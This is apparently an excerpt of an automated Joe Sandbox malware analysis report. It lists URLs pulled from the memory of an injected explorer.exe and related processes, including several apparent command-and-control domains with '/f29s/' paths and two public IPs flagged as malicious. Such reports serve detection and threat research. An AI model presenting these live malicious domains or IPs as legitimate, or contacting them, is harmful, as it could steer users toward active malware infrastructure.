                                                                                                		unknown
                                                                                                https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  http://www.ise-bjnh.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    http://www.dnaqm-walk.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      http://www.ndradesanches.shop/f29s/explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        http://www.ise-bjnh.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		unknown
                                                                                                          https://android.notify.windows.com/iOSexplorer.exe, 0000000C.00000000.2264757843.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4591988823.000000000BFDF000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          • URL Reputation: safe
                                                                                                          		unknown
                                                                                                          https://outlook.comeexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            		unknown
                                                                                                            https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 0000000C.00000000.2252872203.00000000099AB000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • URL Reputation: safe
                                                                                                            		unknown
                                                                                                            https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              http://www.specially-smou.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                		unknown
                                                                                                                http://www.dnaqm-walk.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  http://www.ound-qlhmm.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                    		unknown
                                                                                                                    https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-explorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                      		unknown
                                                                                                                      http://www.ixedcontainerlogistics.todayexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                        		unknown
                                                                                                                        http://www.pmail.comx.exe, x.exe, 00000004.00000003.2142117406.000000007FBDF000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000003.2141828114.000000000303C000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020F49000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2250459092.00000000216D8000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2248060897.0000000020EF7000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2250243378.00000000215DC000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2254223974.000000007FE2F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2225748962.000000000303B000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2250243378.000000002157D000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmp, joedgvvL.pif, 0000000B.00000000.2213209733.0000000000416000.00000002.00000001.01000000.00000008.sdmp, explorer.exe, 0000000C.00000002.4594172713.000000000FFFF000.00000004.80000000.00040000.00000000.sdmp, cscript.exe, 0000000D.00000002.4578632735.0000000002CAA000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 0000000D.00000002.4579948953.000000000536F000.00000004.10000000.00040000.00000000.sdmp, joedgvvL.pif.4.drfalse
                                                                                                                          		unknown
                                                                                                                          http://ocsp.sectigo.com0Cx.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            http://www.zpp-at.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              http://www.acaxtecameralcarers.cfdReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                		unknown
                                                                                                                                http://www.idstream.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  https://api.msn.com/Iexplorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    http://ocsp.sectigo.com0x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    		unknown
                                                                                                                                    http://www.ranxxletzz.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      http://www.iscussion-tjard.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        http://www.ranxxletzz.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          http://www.aomei517.topexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            		unknown
                                                                                                                                            http://schemas.microexplorer.exe, 0000000C.00000002.4585076295.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2250453536.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000000.2237519701.00000000028A0000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            		unknown
                                                                                                                                            http://www.iscussion-tjard.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              http://www.kimosskrupulslacker.cfdReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                http://www.idstream.xyz/f29s/www.specially-smou.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  		unknown
                                                                                                                                                  http://www.specially-smou.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    http://www.ranxxletzz.xyz/f29s/www.ixedcontainerlogistics.todayexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      http://www.byataltatweer.net/f29s/www.ranxxletzz.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        http://www.ixedcontainerlogistics.todayReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-hexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-quexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              http://www.ise-bjnh.xyz/f29s/www.jdhfmq.liveexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                		unknown
                                                                                                                                                                http://www.aomei517.top/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://sectigo.com/CPS0x.exe, 00000004.00000003.2189787103.000000007F050000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000004.00000002.2251580298.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://www.aomei517.topReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    http://www.ndradesanches.shopReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhzexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        https://excel.office.com-explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2264757843.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svgexplorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                          		unknown
                                                                                                                                                                          http://www.ixedcontainerlogistics.today/f29s/www.kimosskrupulslacker.cfdexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            http://www.aomei517.top/f29s/www.dnaqm-walk.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              http://www.jdhfmq.liveReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                		unknown
                                                                                                                                                                                https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-darkexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  http://www.dnaqm-walk.xyz/f29s/www.ndradesanches.shopexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AAexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      http://www.kimosskrupulslacker.cfd/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        https://himalayastrek.com/x.exe, 00000004.00000002.2216401383.00000000008FE000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          http://www.specially-smou.xyz/f29s/www.zpp-at.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-cexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              http://www.ound-qlhmm.xyzReferer:explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                http://www.zpp-at.xyz/f29s/explorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reveexplorer.exe, 0000000C.00000000.2248191769.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    http://www.duxrib.xyz/f29s/www.ise-bjnh.xyzexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      https://powerpoint.office.comEMdexplorer.exe, 0000000C.00000000.2264757843.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4591988823.000000000BFEF000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        http://www.ndradesanches.shopexplorer.exe, 0000000C.00000003.2979877608.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4592188467.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2980545373.000000000C071000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3076227046.000000000C071000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          World Map of Contacted IPs

                                                                                                                                                                                                          • No. of IPs < 25%
                                                                                                                                                                                                          • 25% < No. of IPs < 50%
                                                                                                                                                                                                          • 50% < No. of IPs < 75%
                                                                                                                                                                                                          • 75% < No. of IPs

                                                                                                                                                                                                          Public IPs

                                                                                                                                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                          50.116.93.185
                                                                                                                                                                                                          		himalayastrek.comUnited States
                                                                                                                                                                                                          		46606UNIFIEDLAYER-AS-1UStrue
                                                                                                                                                                                                          178.128.81.239
                                                                                                                                                                                                          		www.idstream.xyzNetherlands
                                                                                                                                                                                                          		14061DIGITALOCEAN-ASNUStrue

                                                                                                                                                                                                          General Information

                                                                                                                                                                                                          Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                          Analysis ID:1545185
                                                                                                                                                                                                          Start date and time:2024-10-30 08:03:15 +01:00
                                                                                                                                                                                                          Joe Sandbox product:CloudBasic
                                                                                                                                                                                                          Overall analysis duration:0h 11m 1s
                                                                                                                                                                                                          Hypervisor based Inspection enabled:false
                                                                                                                                                                                                          Report type:full
                                                                                                                                                                                                          Cookbook file name:default.jbs
                                                                                                                                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                          Number of analysed new started processes analysed:18
                                                                                                                                                                                                          Number of new started drivers analysed:0
                                                                                                                                                                                                          Number of existing processes analysed:0
                                                                                                                                                                                                          Number of existing drivers analysed:0
                                                                                                                                                                                                          Number of injected processes analysed:1
                                                                                                                                                                                                          Technologies:
                                                                                                                                                                                                          • HCA enabled
                                                                                                                                                                                                          • EGA enabled
